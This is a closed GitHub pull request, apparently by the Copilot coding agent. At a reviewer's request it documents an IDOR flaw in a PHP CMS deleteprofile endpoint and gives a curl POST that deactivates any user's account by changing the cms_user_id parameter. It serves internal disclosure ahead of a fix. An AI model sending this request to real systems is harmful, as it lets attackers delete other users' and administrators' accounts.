Skip to content

Provide CURL command demonstrating IDOR vulnerability in deleteprofile endpoint#815

Closed
Copilot wants to merge 2 commits intosingle-now-for-sequential-db-operationsfrom
copilot/sub-pr-814
Closed

Provide CURL command demonstrating IDOR vulnerability in deleteprofile endpoint#815
Copilot wants to merge 2 commits intosingle-now-for-sequential-db-operationsfrom
copilot/sub-pr-814

Conversation

Copy link
Contributor

Copilot AI commented Feb 4, 2026

Responds to review feedback requesting demonstration of the IDOR (Insecure Direct Object Reference) attack in the deleteprofile.php AJAX endpoint.

Response Provided

Documented the CURL command showing how an authenticated attacker can deactivate any user account by manipulating the cms_user_id POST parameter:

curl -X POST 'http://localhost:8000/ajax.php?file=deleteprofile' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: PHPSESSID=<attacker_session_id>' \
  -d 'cms_user_id=<victim_user_id>'

The vulnerability exists because the endpoint accepts $_POST['cms_user_id'] directly in the UPDATE query and simpleSaveChangeHistory() call without verifying the authenticated user has permission to delete that account. Any authenticated user can delete any other user (including admins) by supplying a different user ID.

Note: This PR only provides the demonstration. The security fix is tracked in the parent PR #814.


✨ Let Copilot coding agent set things up for you — coding agent works faster and does higher quality work when set up for your repo.

…e endpoint

Co-authored-by: pylipp <10617122+pylipp@users.noreply.github.com>
Copilot AI changed the title [WIP] Update timestamp parameter in simpleSaveChangeHistory Provide CURL command demonstrating IDOR vulnerability in deleteprofile endpoint Feb 4, 2026
Copilot AI requested a review from pylipp February 4, 2026 17:45
@pylipp pylipp closed this Feb 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants